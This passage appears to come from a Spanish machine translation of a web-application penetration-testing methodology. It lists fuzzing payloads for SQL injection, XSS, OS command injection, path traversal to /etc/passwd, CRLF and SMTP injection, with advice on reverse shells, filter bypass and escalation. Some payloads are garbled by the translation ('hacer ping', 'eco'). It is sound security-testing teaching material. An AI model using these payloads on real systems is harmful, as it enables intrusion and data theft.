usuario no autorizado, pero proporcione el encabezado de referencia original y vea si la
acción tiene éxito.
6.4.3 Si HEAD es un método permitido en el sitio, pruebe el control de acceso

administrado por contenedor inseguro a las URL. Realice una solicitud mediante
el método HEAD para determinar si la aplicación lo permite.
7 Prueba de vulnerabilidades basadas en entradas
Muchas categorías importantes de vulnerabilidades se desencadenan por una entrada

inesperada del usuario y pueden aparecer en cualquier lugar dentro de la aplicación. Una forma
eficaz de sondear la aplicación en busca de estas vulnerabilidades es fuzzear cada parámetro
de cada solicitud con un conjunto de cadenas de ataque.
7.1. Fuzz todos los parámetros de solicitud
7.3. XSS e 7.4. Inyección

7.2. inyección 7.5. Travesía 7.6. Inyección de 7.7.
inyección de comandos del
SQL de ruta secuencias de comandos inclusión de archivos
de respuesta sistema operativo
Figura 21-8: Prueba de vulnerabilidades basadas en entradas
7.1 Fuzz todos los parámetros de solicitud

7.1.1 Revise los resultados de sus ejercicios de mapeo de aplicaciones e identifique cada
solicitud de cliente distinta que envía parámetros que procesa la aplicación del lado
del servidor . Los parámetros relevantes incluyen elementos dentro de la cadena de
consulta de URL, parámetros en el cuerpo de la solicitud y cookies HTTP. Incluya
también cualquier otro elemento de la entrada del usuario que se haya observado que
tiene un efecto en el comportamiento de la aplicación, como los encabezados Referer
o User-Agent .
7.1.2 Para fuzzear los parámetros, puede usar sus propios scripts o una herramienta de
fuzzing ya preparada . Por ejemplo, para usar Burp Intruder, cargue cada solicitud por
turno en la herramienta. Una forma sencilla de hacerlo es interceptar una solicitud en
Burp Proxy y seleccionar la acción Enviar a intruso, o hacer clic con el botón derecho
en un elemento del historial de Burp Proxy y seleccionar esta opción. El uso de esta
opción configura Burp Intruder con el contenido de la solicitud, junto con el host y el
puerto de destino correctos. También marca automáticamente los valores de todos los
parámetros de solicitud como posiciones de carga útil, listas para la fuzzing.
7.1.3 Utilizando la pestaña de cargas útiles, configure un conjunto adecuado de cargas útiles de ataque
para detectar vulnerabilidades dentro de la aplicación. Puede ingresar cargas útiles
manualmente, cargarlas desde un archivo o seleccionar una de las listas de cargas útiles preestablecidas.
Fuzzear cada parámetro de solicitud dentro de la aplicación generalmente implica
emitir una gran cantidad de solicitudes y revisar los resultados en busca de anomalías.
Si su conjunto de cadenas de ataque es demasiado grande, esto puede ser contraproducente
y generar una cantidad prohibitivamente grande de resultados para que los revise.
Por lo tanto, un enfoque sensato es apuntar a una gama de vulnerabilidades
comunes que a menudo se pueden detectar fácilmente en respuestas anómalas a
entradas específicas diseñadas y que a menudo se manifiestan en cualquier lugar
dentro de la aplicación en lugar de dentro de tipos específicos de funcionalidad.
Aquí hay un conjunto adecuado de cargas útiles que puede usar para probar
algunas categorías comunes de vulnerabilidades:
Inyección SQL
'
'--
'; espere el retraso '0:30:0'--

1; espere el retraso '0:30:0'--
Inyección de encabezado y XSS
xsstest
“><script>alerta('xss')</script>
Inyección de comandos del sistema operativo
|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & | ping –i 30 127.0.0.1 | | ping –n 30

127.0.0.1 | & hacer ping –i 30 127.0.0.1 &
& hacer ping –n 30 127.0.0.1 &

; hacer ping 127.0.0.1;
%0a ping –i 30 127.0.0.1 %0a
` `
ping 127.0.0.1
Recorrido de ruta
../../../../../../../../../../etc/passwd ../../../../../.. /../../../../boot.ini
..\..\..\..\..\..\..\..\..\..\etc\passwd ..\..\..\..\..\.. \..\..\..\..\boot.ini
Inyección de secuencias de comandos
;eco 111111
eco 111111
respuesta.escribir 111111
:respuesta.escribir 111111
Inclusión de archivos
http://<nombre de su servidor>/ http://

<dirección IP inexistente>/
7.1.4 Todas las cargas útiles anteriores se muestran en su forma literal. Los caracteres y el
?, ;, &, +, =, espacio deben estar codificados en URL porque tienen características especiales.
significado dentro de las solicitudes HTTP. De forma predeterminada, Burp Intruder realiza la
codificación necesaria de estos caracteres, así que asegúrese de que esta opción no esté
desactivada. (Para restaurar todas las opciones a sus valores predeterminados luego de una
personalización anterior, seleccione Eructar ‚ Restaurar valores predeterminados).
7.1.5 En la función Grep de Burp Intruder, configure un conjunto adecuado de cadenas para
marcar algunos mensajes de error comunes dentro de las respuestas. Por ejemplo:
error
excepción
ilegal
inválido
fallar
pila
acceso
directorio
expediente
extraviado
varchar
ODBC
sql
SELECCIONE
111111
Tenga en cuenta que la cadena 111111 se incluye para probar los ataques de inyección de
secuencias de comandos con éxito. Las cargas útiles en el paso 7.1.3 implican escribir este valor
en la respuesta del servidor.
7.1.6 Seleccione también la opción Payload Grep para marcar las respuestas que contienen el
propio payload, lo que indica una posible vulnerabilidad de inyección de encabezado o XSS.
7.1.7 Configure un servidor web o un escucha de netcat en el host que especificó en la carga
útil de inclusión del primer archivo. Esto lo ayuda a monitorear los intentos de
conexión recibidos del servidor como resultado de un ataque exitoso de inclusión de
archivos remotos.
7.1.8 Lanzar el ataque. Cuando se haya completado, revise los resultados en busca de
respuestas anómalas que indiquen la presencia de vulnerabilidades. Verifique las
divergencias en el código de estado HTTP, la duración de la respuesta, el tiempo de
respuesta, la apariencia de sus expresiones configuradas y la apariencia de la carga
útil en sí. Puede hacer clic en cada encabezado de columna en la tabla de resultados
para ordenar los resultados por los valores en esa columna (y Mayús-clic para
ordenar los resultados a la inversa). Esto le permite identificar rápidamente cualquier
anomalía que se destaque de los otros resultados.
7.1.9 Para cada vulnerabilidad potencial indicada por los resultados de su prueba fuzzing,
consulte las siguientes secciones de esta metodología. Describen los pasos
detallados que debe seguir en relación con cada categoría de problema para verificar
la existencia de una vulnerabilidad y explotarla con éxito.
7.1.10 Después de haber configurado Burp Intruder para realizar una prueba de fuzz de una sola
solicitud, puede repetir rápidamente la misma prueba en otras solicitudes dentro de la
aplicación. Simplemente seleccione cada solicitud de destino dentro de Burp Proxy y elija la
opción Enviar a intruso. Luego, inicie inmediatamente el ataque dentro de Intruder utilizando
la configuración de ataque existente. De esta forma, puede iniciar una gran cantidad de
pruebas simultáneamente en ventanas separadas y revisar manualmente los resultados a
medida que cada prueba completa su trabajo.
7.1.11 Si sus ejercicios de mapeo identificaron canales de entrada fuera de banda mediante los cuales
la entrada controlable por el usuario puede introducirse en el procesamiento de la aplicación,
debe realizar un ejercicio de fuzzing similar en estos canales de entrada. Envíe varios datos
elaborados diseñados para desencadenar vulnerabilidades comunes cuando se procesan
dentro de la aplicación web. Dependiendo de la naturaleza del canal de entrada, es posible
que deba crear un script personalizado u otro arnés para este fin.
7.1.12 Además de su propia fuzzing de solicitudes de aplicaciones, si tiene acceso a un escáner de

vulnerabilidades de aplicaciones web automatizado, debe ejecutarlo en la aplicación de
destino para proporcionar una base de comparación con sus propios hallazgos.
7.2 Prueba de inyección SQL

7.2.1 Si las cadenas de ataque de SQL enumeradas en el paso 7.1.3 dan como resultado
respuestas anómalas, pruebe el manejo de la aplicación del parámetro relevante
manualmente para determinar si existe una vulnerabilidad de inyección de SQL.
7.2.2 Si se devolvieron mensajes de error de la base de datos, investigue su significado.
Utilice la sección "Referencia de errores y sintaxis de SQL" en el Capítulo 9 para ayudar a
interpretar los mensajes de error en algunas plataformas de bases de datos comunes.
7.2.3 Si enviar una comilla simple en el parámetro provoca un error u otro comportamiento anómalo,
envíe dos comillas simples. Si esta entrada hace que desaparezca el error o el comportamiento
anómalo, es probable que la aplicación sea vulnerable a la inyección SQL.
7.2.4 Intente usar funciones comunes de concatenador de cadenas SQL para construir
una cadena que sea equivalente a alguna entrada benigna. Si esto provoca la
misma respuesta que la entrada benigna original, es probable que la aplicación sea
vulnerable. Por ejemplo, si la entrada original es la expresión FOO, puede realizar
esta prueba utilizando los siguientes elementos (en el tercer ejemplo, tenga en
cuenta el espacio entre las dos comillas):
'||'FOO
'+'FOO
' 'FOO
Como siempre, asegúrese de codificar en URL los caracteres como + y el espacio que
tienen un significado especial dentro de las solicitudes HTTP.
7.2.5 Si la entrada original es numérica, intente usar una expresión matemática que sea equivalente
al valor original. Por ejemplo, si el valor original era 2, intente enviar 1+1 o 3–1. Si la
aplicación responde de la misma manera, puede ser vulnerable, especialmente si el valor
de la expresión numérica tiene un efecto sistemático en el comportamiento de la aplicación.
7.2.6 Si la prueba anterior tiene éxito, puede obtener más seguridad de que se trata de una
vulnerabilidad de inyección de SQL mediante el uso de expresiones matemáticas específi
cas de SQL para construir un valor particular. Si la lógica de la aplicación se puede
manipular sistemáticamente de esta manera, es casi seguro que es vulnerable a la
inyección SQL. Por ejemplo, los dos elementos siguientes son equivalentes al número 2:
67-ASCII('A')
51-ASCII(1)
7.2.7 Si cualquiera de los casos de prueba fuzz que utilizan el comando waitfor resultó en un
retraso de tiempo anormal antes de que la aplicación respondiera, este es un fuerte
indicador de que el tipo de base de datos es MS-SQL y la aplicación es vulnerable a la
inyección de SQL. Repita la prueba manualmente, especificando diferentes valores en el
parámetro waitfor , y determine si el tiempo de respuesta varía sistemáticamente con este
valor. Tenga en cuenta que la carga útil de su ataque puede insertarse en más de una
consulta SQL, por lo que el tiempo de demora observado puede ser un múltiplo fijo del
valor especificado.
7.2.8 Si la aplicación es vulnerable a la inyección de código SQL, considere qué

tipos de ataques son factibles y es probable que lo ayuden a lograr sus objetivos.
Consulte el Capítulo 9 para conocer los pasos detallados necesarios para llevar a cabo
cualquiera de los siguientes ataques: n Modifique las condiciones dentro de una cláusula
WHERE para cambiar la lógica de la aplicación (por ejemplo, inyectando o 1=1-- para
omitir un inicio de sesión). n Use el operador UNION para inyectar una consulta
SELECT arbitraria y combine los resultados con los de la consulta original de la aplicación.
n Identifique el tipo de base de datos utilizando la sintaxis SQL específica de la base
de datos. n Si el tipo de base de datos es MS-SQL y la aplicación devuelve mensajes de
error ODBC en sus respuestas, aproveche estos para enumerar la estructura de la base
de datos y recuperar datos arbitrarios.
n Si no puede encontrar una manera de recuperar directamente los resultados de una

consulta inyectada arbitraria, use las siguientes técnicas avanzadas para extraer datos:
n Recuperar datos de cadena en forma numérica, un byte a la vez. n Utilizar

un canal fuera de banda.
n Si puede causar diferentes respuestas de aplicaciones basadas en una sola

condición arbitraria, use Absinthe para extraer datos arbitrarios un bit
a la vez
n Si puede activar retrasos de tiempo basados en una única condición arbitraria,

explote estos para recuperar datos un bit a la vez. n Si
la aplicación está bloqueando ciertos caracteres o expresiones que necesita para

realizar un ataque en particular, pruebe las diversas técnicas de omisión descritas
en el Capítulo 9 para eludir el filtro de entrada. n Si es posible, intensifique el ataque
contra la base de datos y el servidor subyacente aprovechando las vulnerabilidades o

funciones poderosas dentro de la base de datos.
7.3 Prueba de XSS y otra inyección de respuesta

7.3.1 Identificar los parámetros de solicitud reflejados
7.3.1.1 Ordene los resultados de sus pruebas de fuzz haciendo clic en la columna Payload Grep
e identifique las coincidencias correspondientes a las cargas útiles XSS enumeradas
en el paso 7.1.3. Estos son casos en los que las cadenas de prueba XSS se devolvieron
sin modificar dentro de las respuestas de la aplicación.
7.3.1.2 Para cada uno de estos casos, revise la respuesta de la aplicación para encontrar la
ubicación de la entrada suministrada. Si esto aparece dentro del cuerpo de la respuesta,
pruebe las vulnerabilidades XSS. Si la entrada aparece dentro de cualquier encabezado
HTTP, pruebe las vulnerabilidades de inyección de encabezado. Si se usa en el
encabezado Ubicación de una respuesta 302, o si se usa para especificar una
redirección de alguna otra manera, pruebe las vulnerabilidades de redirección. Tenga
en cuenta que la misma entrada puede copiarse en varias ubicaciones dentro de la
respuesta y que puede estar presente más de un tipo de vulnerabilidad reflejada.
7.3.2 Prueba de XSS reflejado
7.3.2.1 Para cada lugar dentro del cuerpo de la respuesta donde aparece el valor del parámetro
de solicitud, revise el HTML que lo rodea para identificar posibles formas de diseñar su
entrada para provocar la ejecución de JavaScript arbitrario.
Por ejemplo, puede inyectar etiquetas <script> , inyectar en un script existente o
colocar un valor creado en un atributo de etiqueta.
7.3.2.2 Use los diferentes métodos para vencer a los fi ltros basados en firmas descritos en el
Capítulo 12 como referencia para las diferentes formas en que la entrada manipulada
puede usarse para provocar la ejecución de JavaScript.
7.3.2.3 Intente enviar varias vulnerabilidades posibles a la aplicación y

controle sus respuestas para determinar si se filtra o desinfecta la entrada.
se está realizando. Si su cadena de ataque se devuelve sin modificar, use un navegador

para verificar de manera concluyente que ha logrado ejecutar JavaScript arbitrariamente
(por ejemplo, generando un cuadro de diálogo de alerta).
7.3.2.4 Si encuentra que la aplicación está bloqueando la entrada que contiene ciertos caracteres
o expresiones que necesita usar, o está codificando en HTML ciertos caracteres, pruebe
las diversas omisiones de filtro descritas en el Capítulo 12.
7.3.2.5 Si encuentra una vulnerabilidad XSS en una solicitud POST , aún puede explotarse
a través de un sitio web malicioso que contenga un formulario con los parámetros
requeridos y un script para enviar el formulario automáticamente. No obstante, se
encuentra disponible una gama más amplia de mecanismos de entrega de ataques
si el exploit se puede entregar a través de una solicitud GET . Intente enviar los
mismos parámetros en una solicitud GET y vea si el ataque aún tiene éxito. Puede
usar la acción Cambiar método de solicitud en Burp Proxy para convertir la solicitud
por usted.
7.3.3 Prueba de inyección de encabezado HTTP
7.3.3.1 Para cada lugar dentro de los encabezados de respuesta donde aparece el
valor del parámetro de solicitud, verifique si la aplicación acepta datos que
contengan caracteres de retorno de carro (%0d) y salto de línea (%0a)
codificados en URL y si estos son volvió sin desinfectar en su respuesta.
(Tenga en cuenta que está buscando los caracteres de nueva línea reales
para que aparezcan en la respuesta del servidor, no sus equivalentes codificados en URL).
7.3.3.2 Si aparece una nueva línea en los encabezados de respuesta del servidor cuando
proporciona una entrada manipulada, la aplicación es vulnerable a la inyección de
encabezado HTTP . Esto se puede aprovechar para realizar varios ataques, como se
describe en el Capítulo 13.
7.3.3.3 Si descubre que solo se devuelve uno de los dos caracteres de nueva línea en las
respuestas del servidor, aún es posible crear un exploit que funcione, según el contexto
y el navegador del usuario objetivo.
7.3.3.4 Si encuentra que la aplicación bloquea la entrada que contiene caracteres de nueva
línea , o desinfecta esos caracteres en su respuesta, pruebe los siguientes elementos
de entrada para probar la eficacia del filtro:
foo%00%0d%0abar
foo%250d%250abar
foo%%0d0d%%0a0abar
7.3.4 Prueba de redirección abierta
7.3.4.1 Si la entrada reflejada se usa para especificar el objetivo de un redireccionamiento de

algún tipo, pruebe si es posible proporcionar una entrada manipulada que resulte en
una redirección arbitraria a un sitio web externo. Si es así, este comportamiento puede
explotarse para dar credibilidad a un ataque de tipo phishing.
7.3.4.2 Si la aplicación normalmente transmite una URL absoluta como valor del parámetro, modifique
el nombre de dominio dentro de la URL y pruebe si la aplicación lo redirige a un dominio
diferente.
7.3.4.3 Si el parámetro normalmente contiene una URL relativa, modifíquela en una URL absoluta para
un dominio diferente y pruebe si la aplicación lo redirige a este dominio.
7.3.4.4 Si la aplicación lleva a cabo alguna validación en el parámetro antes de realizar la

redirección, en un esfuerzo por evitar la redirección externa, a menudo es vulnerable a
las omisiones. Pruebe los diversos ataques descritos en el Capítulo 13 para probar la
solidez de los fi ltros.
7.3.5 Prueba de ataques almacenados
7.3.5.1 Si la aplicación almacena elementos de entrada proporcionada por el usuario y luego los
muestra en la pantalla, después de haber analizado toda la aplicación, es posible que observe
que algunas de sus cadenas de ataque se devuelven en respuesta a solicitudes que no
contenían esas cadenas. Tenga en cuenta cualquier instancia en la que esto ocurra e
identifique el punto de entrada original para los datos que se almacenan.
7.3.5.2 En algunos casos, los datos proporcionados por el usuario se almacenan correctamente solo
si completa un proceso de varias etapas, lo que no ocurre en las pruebas de fuzz básicas. Si
los ejercicios de mapeo de su aplicación identificaron alguna funcionalidad de este tipo, recorra
manualmente el proceso relevante y pruebe los datos almacenados en busca de
vulnerabilidades XSS.
7.3.5.3 Si tiene suficiente acceso para probarlo, revise detenidamente cualquier funcionalidad
administrativa en la que los datos que se originan en los usuarios con pocos privilegios
finalmente se muestran en pantalla en la sesión de los usuarios con más privilegios.
Cualquier vulnerabilidad XSS almacenada en una funcionalidad de este tipo suele conducir
directamente a una escalada de privilegios.
7.3.5.4 Probar cada instancia donde los datos proporcionados por el usuario se almacenan y
muestran a los usuarios. Pruebe estos para XSS y los otros ataques de inyección de
respuesta descritos anteriormente.
7.3.5.5 Si encuentra una vulnerabilidad en la que la entrada proporcionada por un usuario se muestra a
otros usuarios, determine la carga de ataque más efectiva con la que puede lograr sus
objetivos, como el secuestro de sesión o la falsificación de solicitudes. Si los datos
almacenados se muestran solo al mismo usuario que los originó, intente encontrar formas de
encadenar cualquier otra vulnerabilidad que haya descubierto (como controles de acceso
rotos) para inyectar un ataque en las sesiones de otros usuarios.
7.3.5.6 Si la aplicación permite la carga y descarga de archivos, pruebe siempre esta

función en busca de ataques XSS almacenados. Si la aplicación admite archivos
HTML, JAR o de texto y no valida ni desinfecta su contenido, es casi seguro que
es vulnerable. Si permite archivos JPEG y no valida que contengan imágenes
válidas, probablemente sea vulnerable a ataques contra usuarios de Internet
Explorer. Pruebe el manejo de la aplicación de cada tipo de archivo que admite y
confirme cómo los navegadores manejan las respuestas que contienen HTML en
lugar del tipo de contenido normal.
7.3.5.7 En cada ubicación donde los datos enviados por un usuario se muestran a otros
usuarios pero donde los fi ltros de la aplicación le impiden realizar un ataque XSS
almacenado, revise si el comportamiento de la aplicación la hace vulnerable a la
falsificación de solicitudes en el sitio.
7.4 Prueba de inyección de comandos del sistema operativo
7.4.1 Si alguna de las cadenas de ataques de inyección de comandos enumeradas en el

paso 7.1.3 resultó en un retraso de tiempo anormal antes de que la aplicación
respondiera, esto es un fuerte indicador de que la aplicación es vulnerable a la
inyección de comandos del sistema operativo . Repita la prueba, especificando
manualmente diferentes valores en el parámetro -i o -n , y determine si el tiempo
necesario para responder varía sistemáticamente con este valor.
7.4.2 Usando cualquiera de las cadenas de inyección que resultó exitosa,

intente inyectar un comando más interesante (como ls o dir) y
determine si puede recuperar los resultados del comando en su navegador.
7.4.3 Si no puede recuperar los resultados directamente, hay otras opciones abiertas para
usted: n Puede intentar abrir un canal fuera de banda de regreso a su computadora.

Intente usar TFTP para copiar herramientas en el servidor, use telnet o netcat
para crear un shell inverso en su computadora y use el comando de correo para
enviar la salida del comando a través de SMTP.
n Puede redirigir los resultados de sus comandos a un archivo dentro de la raíz web,
que luego puede recuperar directamente usando su navegador.
Por ejemplo:
dir > c:\inetpub\wwwroot\foo.txt
7.4.4 Si encuentra una manera de inyectar comandos y recuperar los resultados, debe
determinar su nivel de privilegios (utilizando whoami o un comando similar, o
intentando escribir un archivo inofensivo en un directorio protegido). Luego , puede
buscar escalar privilegios, obtener acceso de puerta trasera a datos confidenciales
de aplicaciones o atacar otros hosts a los que se puede acceder desde el servidor
comprometido.
7.4.5 Si cree que su entrada se está pasando a un comando del sistema operativo de algún
tipo, pero las cadenas de ataque enumeradas no tienen éxito, vea si puede usar el
carácter < o > para dirigir el contenido de un archivo a la entrada del comando o para
dirigir la salida del comando a un archivo. Esto puede permitirle leer o escribir
contenidos de archivos arbitrarios. Si sabe o puede adivinar el comando real que se
está ejecutando, intente inyectar parámetros de línea de comando asociados con
ese comando para modificar su comportamiento de manera útil (por ejemplo,
especificando un archivo de salida dentro de la raíz web).
7.4.6 Si encuentra que la aplicación escapa de ciertos caracteres clave, necesita
realizar un ataque de inyección de comando, intente colocar el carácter de
escape antes de cada carácter. Si la aplicación no escapa al propio carácter
de escape, esto generalmente conduce a una omisión de esta medida defensiva.
Si encuentra que los caracteres de espacio en blanco están bloqueados o
desinfectados, puede usar $IFS en lugar de espacios en plataformas basadas en UNIX.
7.5 Prueba de recorrido de ruta

7.5.1 Para cada prueba de fuzz que haya realizado, revise los resultados generados por las
cadenas de ataque de cruce de ruta enumeradas en el paso 7.1.3. Puede hacer clic
en la parte superior de la columna de carga útil en Burp Intruder para ordenar la tabla
de resultados por carga útil y agrupar los resultados para estas cadenas. Para los
casos en los que se recibió un mensaje de error inusual o una respuesta con una
longitud anormal , revise la respuesta manualmente para determinar si contiene el
contenido del archivo especificado u otra evidencia de que ocurrió una operación de
archivo anómala.
7.5.2 En su mapeo de la superficie de ataque de la aplicación, debería haber anotado
cualquier funcionalidad que admita específicamente la lectura y escritura de archivos
sobre la base de la entrada proporcionada por el usuario. Además de la fuzzing
general de todos los parámetros, debe probar manualmente esta funcionalidad con
mucho cuidado para identificar cualquier vulnerabilidad de cruce de ruta que exista.
7.5.3 Cuando un parámetro parece contener un nombre de archivo, una parte de un nombre
de archivo o un directorio, modifique el valor existente del parámetro para insertar un
subdirectorio arbitrario y una sola secuencia transversal. Por ejemplo, si la aplicación
envía este parámetro:
archivo=foo/archivo1.txt
intente enviar este valor:

archivo=foo/bar/../archivo1.txt
Si el comportamiento de la aplicación es idéntico en los dos casos, puede ser

vulnerable y debe continuar con el siguiente paso. Si el comportamiento es diferente,
la aplicación puede estar bloqueando, eliminando o desinfectando
secuencias transversales, lo que da como resultado una ruta de archivo no válida.

Intente usar la codificación y otros ataques descritos en el Capítulo 10 en un
intento de eludir los fi ltros.
7.5.4 Si la prueba anterior de usar secuencias transversales dentro del directorio base tiene éxito,
intente usar secuencias adicionales para pasar por encima del directorio base y acceder a
archivos conocidos en el sistema operativo del servidor. Si estos intentos fallan, la aplicación
puede estar imponiendo varios filtros o verificaciones antes de que se conceda el acceso al
archivo. Debe investigar más a fondo para comprender los controles que se implementan y si
existen omisiones.
7.5.5 La aplicación puede estar verificando la extensión del archivo que se solicita y permitiendo el
acceso solo a ciertos tipos de archivos. Intente usar un byte nulo o un ataque de nueva línea
junto con una extensión de archivo conocida y aceptada en un intento de eludir el fi ltro. Por
ejemplo:
../../../../../boot.ini%00.jpg ../../../../../etc/
passwd%0a.jpg
7.5.6 La aplicación puede estar comprobando que la ruta del archivo proporcionado por el usuario
comience con un directorio o raíz en particular. Intente agregar secuencias transversales
después de una raíz aceptada conocida en un intento de eludir el fi ltro. Por ejemplo:
/imágenes/../../../../../../../etc/contraseña
7.5.7 Si estos ataques no tienen éxito, intente combinar varias omisiones, trabajando inicialmente
completamente dentro del directorio base en un intento de comprender los fi ltros en el lugar
y las formas en que la aplicación maneja entradas inesperadas.
7.5.8 Si logra obtener acceso de lectura a archivos arbitrarios en el servidor, intente recuperar
cualquiera de los siguientes archivos, lo que puede permitirle escalar su ataque: Archivos de
contraseña para el sistema operativo y la aplicación Servidor y aplicación archivos de
configuración, para descubrir otras vulnerabilidades
habilidades o afinar un ataque diferente
n Incluir archivos que pueden contener credenciales de bases de
datos . n Fuentes de datos utilizadas por la aplicación, como archivos de bases de datos MySQL.
o archivos XML
n El código fuente de las páginas ejecutables del servidor, para realizar una revisión del código
en busca de errores .
n Archivos de registro de aplicaciones que pueden contener información como nombres de

usuario y tokens de sesión
7.5.9 Si logra obtener acceso de escritura a archivos arbitrarios en el servidor, examine si alguno de los siguientes
ataques es factible para escalar su ataque: n Crear scripts en las carpetas de inicio de los usuarios n
Modificar archivos como in.ftpd para ejecutar comandos arbitrarios cuando
un usuario se conecta a continuación
n Escribir scripts en un directorio web con permisos de ejecución y llamarlos desde su navegador
7.6 Prueba de inyección de secuencias de comandos
7.6.1 Para cada prueba de fuzz que haya realizado, revise los resultados de la cadena 111111 por sí sola (es
decir, no precedida por el resto de la cadena de prueba).
Puede identificarlos rápidamente en Burp Intruder haciendo Mayús y haciendo clic en el
encabezado de la cadena 111111 Grep para agrupar todos los resultados que contienen
esta cadena. Busque cualquiera que no tenga una marca en la columna Payload Grep.
Es probable que cualquier caso identificado sea vulnerable a la inyección de comandos
de secuencias de comandos.
7.6.2 Revise todos los casos de prueba que usaron cadenas de inyección de secuencias de comandos e
identifique cualquiera que contenga mensajes de error de secuencias de comandos que puedan indicar
que su entrada se está ejecutando pero causó un error. Es posible que sea necesario ajustarlos para
realizar correctamente la inyección de secuencias de comandos.
7.6.3 Si la aplicación parece ser vulnerable, verifíquelo inyectando más comandos específi cos para la plataforma
de secuencias de comandos en uso. Por ejemplo, puede usar cargas útiles de ataque similares a las
que se usan cuando se realiza una prueba de fuzzing para la inyección de comandos del sistema
operativo:
sistema('ping%20127.0.0.1')
7.7 Prueba de inclusión de archivos
7.7.1 Si recibió conexiones HTTP entrantes desde la infraestructura de la aplicación de destino durante su
fuzzing, es casi seguro que la aplicación es vulnerable a la inclusión remota de archivos. Repita las
pruebas relevantes de una manera de un solo subproceso y con limitación de tiempo para determinar
exactamente qué parámetros están causando que la aplicación emita las solicitudes HTTP.
7.7.2 Revise los resultados de los casos de prueba de inclusión de archivos e identifique cualquiera que haya
causado un retraso anómalo en la respuesta de la aplicación. En estos casos, puede ser que la
aplicación en sí misma sea vulnerable pero que las solicitudes HTTP resultantes se estén agotando
debido a los filtros a nivel de red.
7.7.3 Si encuentra una vulnerabilidad de inclusión de archivos remotos, implemente un servidor

web que contenga un script malicioso específi co para el idioma al que se dirige y use
comandos como los que se usan para probar la inyección de scripts para verificar que
su script se esté ejecutando. ejecutado.
8 Prueba de vulnerabilidades de entrada específicas de funciones
Además de los ataques basados en entrada dirigidos en el paso anterior, una variedad de
vulnerabilidades normalmente se manifiestan solo en tipos particulares de funcionalidad. Antes
de continuar con los pasos individuales descritos en esta sección, debe revisar su evaluación de
la superficie de ataque de la aplicación para identificar funciones específicas de la aplicación en
las que es probable que surjan estos defectos y centrar sus pruebas en ellos.
Resultados del mapeo de aplicaciones
8.6. Inyección de
8.1. Inyección 8.2. Defectos 8.3. inyección 8.4. inyección 8.5. Inyección 8.7.
solicitud de
SMTP de código nativo de jabón LDAP XPath inyección XXE
back-end
Figura 21-9: Prueba de vulnerabilidades de entrada específicas de la funcionalidad
8.1 Prueba de inyección SMTP

8.1.1 Para cada solicitud empleada en la funcionalidad relacionada con el correo electrónico,
envíe cada una de las siguientes cadenas de prueba como cada parámetro, insertando
su propia dirección de correo electrónico en la posición correspondiente. Puede usar
Burp Intruder para automatizar esto, como se describe en el paso 7.1 para el fuzzing
general. Estas cadenas de prueba ya tienen caracteres especiales codificados en URL,
así que no les aplique ninguna codificación adicional.
<tucorreoelectrónico>%0aCc:<tucorreoelectrónico>
<tucorreo>%0d%0aCc:<tucorreo>
<tucorreoelectrónico>%0aBcc:<tucorreoelectrónico>
<tucorreo>%0d%0aBcc:<tucorreo>
%0aDATA%0afoo%0a%2e%0aCORREO+DE:+<sucorreoelectrónico>%0aRCPT+TO:+<sucorreoelectrónico>
%0aDATOS%0aDe:+<sucorreoelectrónico>%0aPara:+<sucorreoelectrónico>%0aAsunto:+prueba%0afoo
%0a%2e%0a
%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aCORREO+DE:+<sucorreoelectrónico>%0d%0aRCPT
+A:+
<sucorreoelectrónico>%0d%0aDATA%0d%0aDe:+<sucorreoelectrónico>%0d%0aPara:
+<sucorreoelectrónico> %0d%0aAsunto:+prueba%0d%0afoo%0d%0a%2e%0d%0a
8.1.2 Revise los resultados para identificar cualquier mensaje de error que devuelva la aplicación.
Si estos parecen estar relacionados con algún problema en la función de correo
electrónico, investigue si necesita ajustar su entrada para explotar una vulnerabilidad.
8.1.3 Supervise la dirección de correo electrónico que especificó para ver si se reciben mensajes de
correo electrónico.
8.1.4 Revise detenidamente el formulario HTML que genera la solicitud correspondiente. Puede
contener pistas sobre el software del lado del servidor que se está utilizando. También puede
contener un campo oculto o deshabilitado que se utiliza para especificar la dirección Para del
correo electrónico, que puede modificar directamente.
8.2 Prueba de vulnerabilidades de software nativo

8.2.1 Prueba de desbordamiento de búfer
8.2.1.1 Para cada elemento de datos objetivo, envíe un rango de cadenas largas con longitudes un poco
más largas que los tamaños de búfer comunes. Apunte a un elemento de datos a la vez para
maximizar la cobertura de las rutas de código en la aplicación.
Puede usar la fuente de carga útil de bloques de caracteres en Burp Intruder para generar
automáticamente cargas útiles de varios tamaños. Los siguientes tamaños de búfer son
adecuados para probar:
1100
4200
33000
8.2.1.2 Supervisar las respuestas de la aplicación para identificar cualquier anomalía. Es casi seguro
que un desbordamiento incontrolado provoque una excepción en la aplicación , aunque
diagnosticar la naturaleza del problema de forma remota puede ser difícil. Busque cualquiera
de las siguientes anomalías: n Un código de estado HTTP 500 o un mensaje de error, donde
otra entrada incorrecta (pero no demasiado larga) no tiene el mismo efecto
n Un mensaje informativo que indica que se produjo una falla en algún componente de código
nativo externo
n Se recibe una respuesta parcial o con formato incorrecto del

servidor n La conexión TCP con el servidor se cierra abruptamente sin regresar
una respuesta
n Toda la aplicación web ya no responde n La

aplicación devuelve datos inesperados, lo que posiblemente indica
que una cadena en la memoria ha perdido su terminador nulo
8.2.2 Prueba de vulnerabilidades de enteros
8.2.2.1 Cuando trabaje con componentes de código nativo, identifique cualquier dato basado en números
enteros, en particular los indicadores de longitud, que pueden usarse para desencadenar
vulnerabilidades de números enteros.
8.2.2.2 Dentro de cada elemento objetivo, envíe cargas útiles adecuadas diseñadas para desencadenar
cualquier vulnerabilidad. Para cada elemento de datos objetivo, envíe una serie de valores diferentes
a su vez, que representen casos límite para las versiones firmadas y sin firmar de diferentes tamaños
de enteros. For example: n 0x7f and 0x80 (127 and 128) n 0xff and 0x100 (255 and 256) n 0x7ffff
and 0x8000 (32767 and 32768) n 0xffff and 0x10000 (65535 and 65536) n 0x7fffffff and 0x80000000
(2147483647 and 2147483648) n 0xffffffff y 0x0 (4294967295 y 0)
8.2.2.3 Cuando los datos que se están modificando se representan en forma

hexadecimal, envíe las versiones little-endian y big-endian de cada caso de
prueba, como ff7f y 7fff. Si los números hexadecimales se envían en formato
ASCII, use el mismo caso que la aplicación usa para los caracteres alfabéticos
para asegurarse de que se decodifiquen correctamente.
8.2.2.4 Monitoree las respuestas de la aplicación para eventos anómalos, como se describe en el paso 8.2.1.2.
8.2.3 Prueba de vulnerabilidades de cadena de formato
8.2.3.1 Dirigiéndose a cada parámetro por turno, envíe cadenas que contengan secuencias largas de diferentes
especificadores de formato. Por ejemplo:
